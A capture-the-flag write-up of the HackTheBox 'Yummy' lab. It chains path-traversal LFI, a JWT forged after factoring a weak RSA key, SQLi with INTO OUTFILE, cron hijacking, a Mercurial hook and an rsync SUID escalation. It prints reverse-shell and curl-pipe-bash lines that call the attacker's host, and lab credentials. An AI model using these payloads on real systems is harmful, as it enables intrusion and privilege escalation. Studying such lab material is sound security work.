the_open_door
coffee
ESEN

Yummy

HackTheBoxHardLinux10.10.11.36

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#lfi#path-traversal#jwt#rsa-factoring#sqli#into-outfile#cron#mercurial#rsync#suid#credential-reuse#linux
TL;DR. Yummy is a hard Linux box with a long, tightly chained path. The restaurant booking site exports events as iCalendar and that /export is an LFI via path traversal that reads the filesystem. Among the files is the app backup: its signature.py generates the RSA keys with a tiny prime, so the JWT modulus is factorable and you can forge an administrator token. Inside the admin panel, a SQLi with stacked queries and INTO OUTFILE writes a payload that a cron runs as mysql; from there you pivot to www-data via another cron, and to qa by reusing credentials from the repository. qa can run hg via sudo as dev (Mercurial hook), and dev can run rsync via sudo as root (SUID).

Reconnaissance

Ping

We start with a ping to confirm the host is up and check the TTL, which hints at the OS (≈64 Linux, ≈128 Windows).

ping -c 1 10.10.11.36
64 bytes from 10.10.11.36: icmp_seq=1 ttl=63 time=37.4 ms

TTL 63 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 63 = 64−1; a hint, not proof (it can be spoofed), confirmed by the service scan.

Port scan

A full scan of all 65535 ports on 10.10.11.36 returns only two: SSH and HTTP.

nmap -p- --min-rate 5000 10.10.11.36

nmap finds 22/ssh and 80/http with ttl 63 on 10.10.11.36

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

The ttl 63 on the SYN/ACK replies matches the ping and reinforces the Linux call. A helper function extracts the ports from the scan and puts them on the clipboard for the next command:

extractPorts scan

extractPorts returning IP Address 10.10.11.36 and Open ports 22,80

Extracting information...
IP Address: 10.10.11.36
Open ports: 22,80

Ports copied to clipboard

With the list, the targeted version and default-script scan:

nmap -p22,80 -sCV 10.10.11.36

nmap -sCV identifies OpenSSH 9.6p1 on 22 and Caddy redirecting to yummy.htb on 80

22/tcp open  ssh   OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http  Caddy httpd
|_http-title: Did not follow redirect to http://yummy.htb/

Two facts: the web server is Caddy (not Apache or nginx, which usually means a modern app behind a reverse proxy) and it answers with a redirect to http://yummy.htb/. That Did not follow redirect means the server expects the request to carry the right Host header, so we have to resolve the domain locally before we can browse:

sudo nano /etc/hosts

/etc/hosts edited in nano adding the line 10.10.11.36 yummy.htb

127.0.0.1       localhost
127.0.1.1       kali
10.10.11.36     yummy.htb

The site: a restaurant with bookings

With the domain resolving, we fingerprint the stack:

whatweb http://yummy.htb

whatweb returning 200 OK, Bootstrap, Email info@yummy.htb, HTML5, HTTPServer Caddy and Title Yummy

http://yummy.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[info@yummy.htb], Frame, HTML5, HTTPServer[Caddy], IP[10.10.11.36], Lightbox, Script, Title[Yummy]

Bootstrap and Lightbox are frontend boilerplate, nothing exploitable on their own. What matters is that no CMS and no server-side language show up, so the application is custom and will have to be enumerated by hand.

The yummy.htb landing page: a restaurant with a nav menu of Home, Dashboard, Menu, Specials, Events, Chefs, Gallery, Login and Register, plus a "Book a table" button

The navigation announces the attack surface: there is Login, Register, a Dashboard (which implies a session) and a Book a table. A private dashboard is always the first thing to reach, and here we do not even have to force it because registration is open:

The registration form at yummy.htb/register with email jaime@jaime.com and a password

The login form at yummy.htb/login with the same credentials

Once authenticated, /dashboard shows up with the bookings table completely empty:

The authenticated dashboard showing the columns ID, Email, Date, Time, Message, Number of People, Manage Reservation and iCalendar Reminder, with no rows

The table headers are themselves a map of the functionality: there is an ID per booking, a Manage Reservation and, above all, an iCalendar Reminder column. With no data to analyse, the obvious move is to generate some: we create a booking using the same email we are logged in with (any other email still creates the booking, but it will not appear in our dashboard, because the listing filters by the session's email):

The "Book a Table" form filled with name Jaime, email jaime@jaime.com, phone, date 11/12/2024, time 19:34, 3 people and the message "reserva jaime"

The dashboard now with booking ID 21 for jaime@jaime.com and the "Cancel reservation" and "Save icalendar" buttons

The row appears with ID 21 and two new buttons. The interesting one is "Save icalendar", which downloads the event as .ics.

The iCalendar and its library

saving a booking exposes the option to download the event as iCalendar

The .ics file includes identifiers and, above all, a PRODID line that gives away the library used to generate it: ics.py. Pinning the tool and its version is what guides the next step.

the downloaded iCalendar is generated with the ics.py library, whose repository confirms the tool

With a name and a version (the second line of the .ics declares VERSION:2.0) we search for known vulnerabilities in the iCalendar ecosystem and hit CVE-2023-46784, a path traversal and SSRF in the ICS Calendar component:

The CVE-2023-46784 entry on the NVD describing a path traversal and SSRF in Room 34 Creative Services' ICS Calendar, affecting up to version 10.12.0.3

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), Server-Side Request
Forgery (SSRF) vulnerability in Room 34 Creative Services, LLC ICS Calendar ics-calendar allows Absolute
Path Traversal. This issue affects ICS Calendar: from n/a through 10.12.0.3.

That CVE belongs to a WordPress plugin also called "ICS Calendar", not to the Python ics.py library this application uses. It was tested and did not apply. It is worth documenting anyway, because the idea it left behind (path traversal in the generation or download of the calendar) is exactly the right one, even though the real vector lives in the application's own download endpoint rather than in the library.

Intercepting the download: /export appears

To see how the .ics is actually served, we repeat the booking and route the browser through Burp with FoxyProxy before hitting "Save icalendar":

Another test booking with email h@h.com and 14 people in the Book a Table form

FoxyProxy enabling the burp profile on port 8080, with an arrow pointing at the "Save icalendar" button of booking ID 24

The first request to fire is the reminder; we forward it and the second one shows up, which is the one that matters:

Burp shows the GET to /export the server uses to read and download the calendar file

The download is not a static file: the site uses an /export endpoint that takes a path and reads that file off the server. export is not a standard feature of any web server, it is something this application's developer wrote, and any endpoint that takes a path and returns its contents is an immediate path-traversal candidate.

LFI: reading the filesystem

/export and the path traversal

The /export endpoint builds the file path from the URL without sanitising ../. Encoding the traversal (%2E%2E%2F) escapes the intended directory and reads any file readable by the service. The first target, always, is /etc/passwd:

curl -s -X GET "http://yummy.htb/export/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc/passwd" -H "$cookie"

the /export with path traversal returns the server's /etc/passwd

/etc/passwd reveals two interesting users with a shell, dev (uid 1000) and qa (uid 1001), plus the mysql and caddy service accounts:

root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
dev:x:1000:1000:dev:/home/dev:/bin/bash
mysql:x:110:110:MySQL Server,,,:/nonexistent:/bin/false
caddy:x:999:988:Caddy web server:/var/lib/caddy:/usr/sbin/nologin
qa:x:1001:1001::/home/qa:/bin/bash
_laurel:x:996:987::/var/log/laurel:/bin/false

Two details worth noting in passing: caddy confirms the server nmap already named, and _laurel is the user of the Laurel daemon, an audit-log processor. Its presence means the box audits system calls, irrelevant for the lab but very relevant in a real environment, where this whole chain would be logged.

Automating the LFI

Reading a file through /export is not a single curl: you have to create a booking, force the reminder so the ID is live and only then request the resource. Doing that by hand per file is unworkable, so the sequence is wrapped in a script that takes an email, a booking ID and a cookie, and saves every downloaded resource into a ./lfi/<path> tree:

./lfi.sh -e <email> -i <id> -c <cookie.txt>

Among the deployment scripts is /data/scripts/table_cleanup.sh, which connects to the database with cleartext credentials:

the table_cleanup.sh script connects to MySQL with user chef and password 3wDo7gSRZIwIHRxZ!

$ ls
app_backup.sh  dbmonitor.sh  table_cleanup.sh

$ cat table_cleanup.sh
#!/bin/sh

/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sql
/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sql

table_cleanup.sh itself points at the next file, so we request the .sql it feeds too:

the LFI script downloading /data/scripts/sqlappointments.sql and showing its contents: TRUNCATE of the users and appointments tables followed by INSERTs with customer emails, names and roles

TRUNCATE table users;
TRUNCATE table appointments;
INSERT INTO appointments (appointment_email, appointment_name, appointment_date, appointment_time, appointment_people, appointment_message, role_id) VALUES ("chrisjohnson@email.net", "Chris Johnson", "2024-05-25", "11:45", "2", "No allergies, prefer table by the window", "customer");
INSERT INTO appointments (appointment_email, appointment_name, appointment_date, appointment_time, appointment_people, appointment_message, role_id) VALUES ("laurajohnson@domain.edu", "Laura Johnson", "2024-01-20", "04:15", "3", "Vegan meal required", "customer");
INSERT INTO appointments (appointment_email, appointment_name, appointment_date, appointment_time, appointment_people, appointment_message, role_id) VALUES ("chrisrodriguez@email.net", "Chris Rodriguez", ...

The .sql carries no passwords or hashes, only the demo dataset with emails, names and a role_id field set to customer. As exploitation material it is worthless, but it leaves a hint that will be worth its weight in gold later: the application has a concept of roles, and customer is one of its values.

Another script, /data/scripts/app_backup.sh, shows where the application lives and that it is backed up periodically into a ZIP:

app_backup.sh changes into /var/www, deletes backupapp.zip and re-compresses /opt/app under the same name

#!/bin/bash

cd /var/www
/usr/bin/rm backupapp.zip
/usr/bin/zip -r backupapp.zip /opt/app

Three lines that amount to a map: the application lives in /opt/app, the backup is at /var/www/backupapp.zip and it is regenerated periodically. Having the source code of a custom application is normally the end of the enumeration phase.

A ZIP is not downloaded with a text script

The first attempt to fetch it with the same tool fails in an instructive way:

The LFI script downloading /var/www/backupapp.zip and printing unreadable binary bytes, with the warning "command substitution: ignored null byte in input"

[+] Introduce el recurso que deseas descubrir: /var/www/backupapp.zip

./lfi.sh: line 49: warning: command substitution: ignored null byte in input
[+] Recurso guardado en /home/krmena/machines/yummy/content/lfi/var/www/backupapp.zip

PK
[..oopt/app/UT   m.7gu..7gux
       ...Xopt/app/middleware/UT   ..IFfu..7gux
                   Pw.X...P.O"opt/app/middleware/verification.pyUT

The warning says it all: ignored null byte in input. Bash command substitution ($(curl ...)) discards null bytes, and a ZIP is full of them, so the file arrives corrupt and unzip rejects it. The PK header and some filenames are readable (opt/app/middleware/verification.py), enough to confirm the resource exists and is the right backup, but useless as a file.

The fix is to keep the binary out of the interpreter: request the URL straight from the browser, which saves it byte for byte into ~/Downloads. From there we bring it into the working directory:

mv /home/krmena/Downloads/backupapp.zip .

mv bringing backupapp.zip from the Downloads directory into the working directory

root@kali:/home/krmena/machines/yummy/content#

mv prints nothing and returns the prompt: the file is now in the working directory.

unzip backupapp.zip -d backupapp

unzip extracting backupapp.zip into the backupapp directory, listing app.py, config/signature.py, middleware/verification.py and the templates

Archive:  backupapp.zip
   creating: backupapp/opt/app/
   creating: backupapp/opt/app/middleware/
  inflating: backupapp/opt/app/middleware/verification.py
   creating: backupapp/opt/app/middleware/__pycache__/
  inflating: backupapp/opt/app/middleware/__pycache__/verification.cpython-311.pyc
  inflating: backupapp/opt/app/middleware/__pycache__/verification.cpython-312.pyc
  inflating: backupapp/opt/app/.profile
  inflating: backupapp/opt/app/app.py
   creating: backupapp/opt/app/config/
  inflating: backupapp/opt/app/config/signature.py
   creating: backupapp/opt/app/config/__pycache__/
  inflating: backupapp/opt/app/config/__pycache__/signature.cpython-311.pyc
  inflating: backupapp/opt/app/config/__pycache__/signature.cpython-312.pyc
   creating: backupapp/opt/app/templates/
  inflating: backupapp/opt/app/templates/register.html
  inflating: backupapp/opt/app/templates/login.html

ls confirming the backupapp directory was created alongside the zip, the cookie and the lfi.sh and discoveresources.sh scripts

backupapp  backupapp.zip  cookie.txt  discoveresources.sh  lfi  lfi.sh

This time it works: the application's full source code, locally.

Administrator in the web app

The backup and signature.py

Of the extracted files, the name that jumps out is inside the config directory:

ls in backupapp/opt/app/config showing the signature.py file

__pycache__  signature.py

A file called signature.py in an application that hands out signed session cookies is exactly where to look, and there is the root flaw:

signature.py generates the RSA pair with q = randprime(2<strong>19, 2</strong>20), a tiny prime

# Generate RSA key pair
q = sympy.randprime(2**19, 2**20)          # TINY prime (~20 bits)
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q

The modulus n is built as big_prime · q, with q only 20 bits. RSA's security relies on n being infeasible to factor, but here one factor is so small that n falls at once by trial division with small primes.

Forging the JWT with role: administrator

Our session JWT is signed with RS256 and, decoding it, it carries its own public key in a jwk field (with n and e) and a role claim set to customer, exactly the value that had shown up in sqlappointments.sql:

the decoded JWT shows the jwk field with n and e, and role equal to customer

With n factorable and the public key in front of us, we rebuild the private key and re-sign the token flipping role to administrator (see the concept for the maths). A script with sympy.factorint solves it and prints the administrator token:

factors = sympy.factorint(n)               # n has a small factor
p, q = list(factors.keys())
d = pow(e, -1, (p - 1) * (q - 1))
key = RSA.construct((n, e, d, p, q))
payload['role'] = 'administrator'
print(jwt.encode(payload, key.export_key(), algorithm='RS256'))

the script prints a new JWT with the administrator role

We copy that token and paste it over the X-AUTH-Token cookie from the browser storage panel:

The browser storage panel showing the X-AUTH-Token cookie for yummy.htb with its original 800-byte value

The same X-AUTH-Token cookie already replaced with the forged token, now 817 bytes, and an arrow pointing at the reload button

The size detail confirms the swap took: the cookie goes from 800 to 817 bytes, because administrator is longer than customer and the signature changes. We reload and the panel turns into admindashboard, showing every user's bookings:

the admindashboard lists every user's bookings; a search box appears

Shell as mysql

SQLi with stacked queries

The admindashboard search orders results with an o parameter. We save the full authenticated request (with the forged cookie) into a file and hand it to sqlmap with -r, which is the right way to keep headers and session intact:

sqlmap -r sql --batch

sqlmap 1.8.9 starting up and parsing the HTTP request saved in the sql file

        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.8.9#stable}
|_ -| . [)]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[*] starting @ 23:37:07 /2024-11-15/

[23:37:07] [INFO] parsing HTTP request from 'sql'

The o parameter turns out to be injectable, with error-based SQLi and, crucially, stacked queries:

sqlmap confirms the o parameter is vulnerable to error-based SQLi and stacked queries on MySQL

Parameter: o (GET)
    Type: error-based  (EXTRACTVALUE, ORDER BY/GROUP BY)
    Type: stacked queries  (MySQL >= 5.0.12)
        Payload: s=&o=ASC;SELECT SLEEP(5)#

The distinction matters: an error-based SQLi only reads data, while stacked queries let us chain full statements separated by ;, and that includes the ones that write to disk.

INTO OUTFILE against a cron

Stacked queries let us run SELECT ... INTO OUTFILE, i.e. write files on the server. The target is the cron /data/scripts/dbmonitor.sh, which runs as mysql every minute:

dbmonitor.sh runs the latest fixer-v* in the directory if dbstatus.json does not contain 'database is down'

Its logic chains three conditions. If MySQL is active (it is), it checks dbstatus.json; if the file exists and does not contain the string database is down, it takes the last branch, which does:

latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"

That is: it lists every file starting with fixer-v, sorts them by version with sort -V and runs the last one with Bash. It never validates who created the file or what is in it. All we need is to write a fixer-v whose name sorts above the existing one (fixer-v1.0.1.sh), and ___ does the job because sort -V places it last.

We satisfy both conditions by writing, via the SQLi, a harmless dbstatus.json and a fixer-v___ with our payload:

ASC; SELECT "pwned" INTO OUTFILE '/data/scripts/dbstatus.json';
ASC; SELECT "curl 10.10.15.39:8008/shell.sh |bash;" INTO OUTFILE '/data/scripts/fixer-v___';

What gets written is not the reverse shell but a curl ... | bash, for a practical reason: INTO OUTFILE does not take unescaped single quotes or newlines, so we write the smallest possible line and serve the real payload from our machine:

cat shell.sh

cat of shell.sh showing the shebang and the line bash -c 'bash -i &gt;&amp; /dev/tcp/10.10.15.39/443 0&gt;&amp;1'

#!/bin/bash

bash -c 'bash -i >&/dev/tcp/10.10.15.39/443 0>&1'

We bring up both halves of the environment: the server that hosts shell.sh and the listener that will catch the connection.

python3 -m http.server 8000
sudo nc -nlvp 443

Two panes: on the left python3 -m http.server 8000 serving, on the right nc -nlvp 443 listening

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

listening on [any] 443 ...

We wait for the next cron cycle and the connection lands as mysql:

reverse shell caught; id returns uid=110(mysql)

Shell as www-data

The app_backup.sh cron

Reading /etc/crontab shows several tasks running every minute as different users. The key one is www-data's, which runs /data/scripts/app_backup.sh, a directory we can write to as mysql:

/etc/crontab shows app_backup.sh running every minute as www-data

*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
* * * * *   mysql    /bin/bash /data/scripts/dbmonitor.sh

It is a cron over a writable script: since the cron runs the script by path, all we have to do is leave another file with the same name. We prepare the reverse shell in /tmp:

In /tmp, echo writing the reverse shell into a file called shell.php, and ls confirming it was created

mysql@yummy:/var/spool/cron$ cd /tmp
mysql@yummy:/tmp$ echo "bash -c 'bash -i >&/dev/tcp/10.10.15.39/4444 0>&1'" > shell.php
mysql@yummy:/tmp$ ls
shell.php
snap-private-tmp
systemd-private-1a2c77245362412c845f05fc03824f9e-caddy.service-xp91iX
...

Note the detail: the first version was written as shell.php, which is no use. The cron runs /bin/bash /data/scripts/app_backup.sh explicitly, so the final name has to be exactly that; the intermediate extension does not matter as long as the file is a shell script, but keeping .sh avoids confusion when moving it. Redone with the right name, we move it into the cron's directory:

mv /tmp/shell.sh .

mv bringing /tmp/shell.sh into the /data/scripts directory

mysql@yummy:/data/scripts$ mv /tmp/shell.sh .
mysql@yummy:/data/scripts$
ls
cat shell.sh

ls in /data/scripts showing app_backup.sh, dbmonitor.sh, fixer-v1.0.1.sh, shell.sh, sqlappointments.sql and table_cleanup.sh, and the cat of shell.sh with the reverse shell

mysql@yummy:/data/scripts$ ls
app_backup.sh
dbmonitor.sh
fixer-v1.0.1.sh
shell.sh
sqlappointments.sql
table_cleanup.sh
mysql@yummy:/data/scripts$ cat shell.sh
bash -c 'bash -i >&/dev/tcp/10.10.15.19/4444 0>&1'

The payload's IP is whatever the VPN tunnel handed out that session and changes between runs; what does not change is the listener port, which has to be up before firing. It also confirms the fixer-v1.0.1.sh we had already deduced from reading dbmonitor.sh.

We move the original script aside (not delete it: renaming lets us restore it and leaves a record of what was there):

mv app_backup.sh app_backup.old
ls

mv renaming app_backup.sh to app_backup.old and ls confirming the original is gone

mysql@yummy:/data/scripts$ mv app_backup.sh app_backup.old
mysql@yummy:/data/scripts$ ls
app_backup.old
dbmonitor.sh
fixer-v1.0.1.sh
sqlappointments.sql
table_cleanup.sh

And take its place with ours:

mv shell.sh app_backup.sh
ls

mv renaming shell.sh to app_backup.sh and ls showing app_backup.old next to the new app_backup.sh

mysql@yummy:/data/scripts$ mv shell.sh app_backup.sh
mysql@yummy:/data/scripts$ ls
app_backup.old
app_backup.sh
dbmonitor.sh
fixer-v1.0.1.sh
sqlappointments.sql
table_cleanup.sh

On the next cycle, www-data runs our script and we get a shell as www-data:

nc -nlvp 4444

a new reverse shell, now as www-data

listening on [any] 4444 ...
connect to [10.10.15.39] from (UNKNOWN) [10.10.11.36] 55258
bash: cannot set terminal process group (2227): Inappropriate ioctl for device
bash: no job control in this shell
www-data@yummy:~$

Access as qa

Credentials in the repository

Enumerating www-data's home turns up an app-qatesting directory, a testing copy of the application. What makes it interesting is not the code but its .hg: it is a Mercurial repository, and a repository keeps the full history, including previous versions of the files:

cd app-qatesting/
ls -la
cd .hg
ls
cat last-message.txt
grep -r pass
cd ./store/data
strings app.py.i | grep pass

The full enumeration of app-qatesting/.hg: ls -la showing the directory owned by qa, the cat of last-message.txt with "attempt at patching path traversal", the grep -r pass hitting app.py.i and the strings that reveals both passwords

www-data@yummy:~/app-qatesting$ ls -la
total 40
drwxrwx---  7 www-data www-data 4096 May 28 14:41 .
drwxr-xr-x  3 www-data www-data 4096 Nov 16 14:36 ..
-rw-rw-r--  1 qa       qa      10852 May 28 14:37 app.py
drwxr-xr-x  3 qa       qa       4096 May 28 14:26 config
drwxrwxr-x  6 qa       qa       4096 May 28 14:37 .hg
drwxr-xr-x  3 qa       qa       4096 May 28 14:26 middleware
drwxr-xr-x  6 qa       qa       4096 May 28 14:26 static
drwxr-xr-x  2 qa       qa       4096 May 28 14:26 templates

www-data@yummy:~/app-qatesting/.hg$ cat last-message.txt
attempt at patching path traversal

www-data@yummy:~/app-qatesting/.hg$ grep -r pass
grep: ./wcache/checkisexec: Permission denied
grep: ./store/data/app.py.i: binary file matches

www-data@yummy:~/app-qatesting/.hg/store/data$ cat app.py.i | grep pass
grep: (standard input): binary file matches
www-data@yummy:~/app-qatesting/.hg/store/data$ strings app.py.i | grep pass
        'password': '3wDo7gSRZIwIHRxZ!',
        'password': 'jPAd!XQCtn8Oc@2B',

The whole sequence is worth reading slowly, because it is pure manual enumeration with no automated tooling. The ls -la reveals everything is owned by qa, which already points at the user behind it. last-message.txt holds the last commit message, attempt at patching path traversal, which retrospectively confirms the /export LFI was the project's known flaw. And grep -r pass returns not text but binary file matches on app.py.i, the revlog file where Mercurial stores compressed revisions: the password is in there, but only strings brings it out.

Two passwords. To know who they belong to, look at the surrounding lines in the same dump:

strings over the repository reveals the passwords tied to the chef and qa users

'user': 'chef', 'password': '3wDo7gSRZIwIHRxZ!'
'user': 'qa',   'password': 'jPAd!XQCtn8Oc@2B'

The first one we already knew (it is chef's from table_cleanup.sh), which works as a cross-check: if that one matches, the second is trustworthy. qa's password is reused as the system password, so su qa works:

su qa with password jPAd!XQCtn8Oc@2B switches user; whoami returns qa

The first flag is in their home:

qa's home contains user.txt

qa@yummy:~$ ls -la
.bash_history  .bashrc  .gnupg  .local  .ssh
.bash_logout   .cache   .hgrc   .profile  user.txt
qa@yummy:~$ cat user.txt
23b44b19bd1747ba709bc30a78554022

Inside that listing there is one non-standard file that decides the next step: .hgrc, the user's Mercurial configuration.

Shell as dev

sudo hg and the Mercurial hook

sudo -l as qa shows they can run hg pull over dev's repo, as the dev user:

sudo -l shows qa can run /usr/bin/hg pull /home/dev/app-production as dev

User qa may run the following commands on localhost:
    (dev : dev) /usr/bin/hg pull /home/dev/app-production/

Mercurial runs hooks defined in .hgrc when certain operations finish, so the idea is to write a post-pull hook into qa's .hgrc and fire the pull. The first attempt fails:

sudo -u dev /usr/bin/hg pull /home/dev/app-production/

The sudo -u dev hg pull command aborting with "abort: Permission denied: '/home/qa/.hg'"

qa@yummy:~$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/
abort: Permission denied: '/home/qa/.hg'

The error is precise and explains the problem: hg runs as dev and looks for the repository in the current working directory, which is /home/qa, a home dev cannot access. The fix is not to loosen the home's permissions (noisy, and it can break the box) but to change the working directory: we set everything up in /tmp, which everyone can reach.

the .hgrc defines a hook post-pull = /tmp/shell.sh

# /tmp/.hgrc
[ui]
username = qa

[trusted]
users = qa, dev
groups = qa, dev

[hooks]
post-pull = /tmp/shell.sh

The [trusted] block is essential: Mercurial refuses to run hooks defined in a configuration file whose owner it does not trust, and here the file is written by qa while the process runs as dev. Declaring both users as trusted disables that protection.

Before triggering the shell, we set up an nc listener:

nc -nlvp 1234
cd /tmp; echo "bash -c 'bash -i >&/dev/tcp/10.10.15.39/1234 0>&1'" > shell.sh
chmod +x shell.sh; mkdir .hg; chmod 777 .hg; cp /home/qa/.hgrc /tmp/.hg/hgrc
sudo -u dev /usr/bin/hg pull /home/dev/app-production/

It all goes on one line on purpose: /tmp is a shared directory with periodic cleanups, so the less time between creating the files and using them, the smaller the chance something disappears along the way. Running the pull, the hook fires the reverse shell as dev:

reverse shell as dev after triggering the post-pull hook

qa@yummy:~$ cd /tmp; echo "bash -c 'bash -i >&/dev/tcp/10.10.15.39/1234 0>&1'" > shell.sh; mkdir .hg; chmod 777 .hg;
qa@yummy:/tmp$ ls
shell.sh
snap-private-tmp
systemd-private-1a2c77245362412c845f05fc03824f9e-caddy.service-xp91iX
systemd-private-1a2c77245362412c845f05fc03824f9e-fwupd.service-DBS50w
qa@yummy:/tmp$ chmod +x shell.sh
qa@yummy:/tmp$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/
pulling from /home/dev/app-production/
searching for changes
no changes found

$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.15.39] from (UNKNOWN) [10.10.11.36] 46924
I'm out of office until November 17th, don't call me
dev@yummy:/tmp$

Shell as root

sudo rsync and a SUID bash

sudo -l as dev reveals the last link: it can run rsync as root over a source we control.

sudo -l shows dev can run rsync as root copying from /home/dev/app-production

User dev may run the following commands on localhost:
    (root : root) NOPASSWD: /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* /opt/app/

The * wildcard in the source is the door: we can drop any file into app-production and rsync will copy it. And the -a flag (archive mode) is the lever, because it preserves permissions, owner and special bits during the copy. We copy a bash into the source, set the SUID bit and let the privileged rsync carry it into /opt/app as root:root:

cp /bin/bash app-production/bash; chmod u+s app-production/bash
sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/
/opt/app/bash -p

The chmod u+s is applied as dev, so at that moment the bash is SUID dev, which is useless. What turns it into a weapon is --chown root:root: rsync changes the owner at the destination while keeping the SUID bit, and the result is an /opt/app/bash that is SUID root. Then bash -p keeps the EUID and gives us a root shell:

/opt/app/bash -p gives a root shell and we read root.txt

dev@yummy:~$ /opt/app/bash -p
bash-5.2# whoami
root
bash-5.2# cd /root
bash-5.2# cat root.txt
8b651d955647e6e5161565e97e2e22aa

The HackTheBox panel confirming "Yummy has been Pwned!" with both user and root flags submitted, rank #1203 and 60 points

Both flags submitted, box complete.

Attack chain

web :80 (Caddy)  →  yummy.htb  →  signup + bookings + iCalendar (ics.py)
   │  /export  →  path traversal (LFI)  →  /etc/passwd, scripts, backupapp.zip
   ▼
backupapp.zip  →  signature.py (n = big_prime · q, q is 20 bits)
   │  factor n  →  forge JWT role=administrator
   ▼
admindashboard  →  SQLi (param o, stacked queries)
   │  INTO OUTFILE  →  dbstatus.json + fixer-v___  →  cron dbmonitor.sh
   ▼
mysql  →  cron app_backup.sh (writable)  →  www-data
   │  strings on the .hg revlog  →  qa creds  (reuse)
   ▼
qa (user.txt)  →  sudo hg pull + .hgrc hook in /tmp  →  dev
   │  sudo rsync -a + SUID bash + --chown root:root  →  root
   ▼
root (root.txt)

Lessons learned

  • An endpoint that reads files is an LFI waiting to happen. /export built the path from user input without sanitising ../. Validate and normalise paths, and serve downloads by identifier, not by file path.
  • A CVE that does not apply is still information. CVE-2023-46784 belonged to a same-named WordPress plugin, not to ics.py, but the idea it left behind (path traversal in the calendar download) pointed at the right place.
  • Bash is no way to move binaries. Command substitution drops null bytes, so a ZIP downloaded through $(curl ...) arrives corrupt; for binaries, use the browser or curl -o.
  • Crypto keys are not generated by hand. signature.py created an RSA modulus with a 20-bit factor: factorable instantly. Use serious libraries and 2048-bit moduli with two large primes, and never trust a key that travels inside the token itself.
  • Stacked queries = writing to disk. A SQLi with INTO OUTFILE on an account with the FILE privilege drops payloads that a cron runs. Parameterized queries, an account without FILE and a scoped secure_file_priv.
  • Each cron runs as a user: watch who can write its script. The mysql → www-data chain came from script directories writable by services. cron scripts must be owned by root and not writable by others.
  • A repository keeps what you already deleted. qa's password was not in the current code but in Mercurial's revlog, and only strings surfaced it. When publishing a repo, purge the history, not just the last commit.
  • sudo over tools that run code is sudo over a shell. hg runs hooks and rsync preserves permissions and owner; granting either via sudo with attacker-controlled paths is handing over the target account.
Command cheatsheet 10 commands

Quick review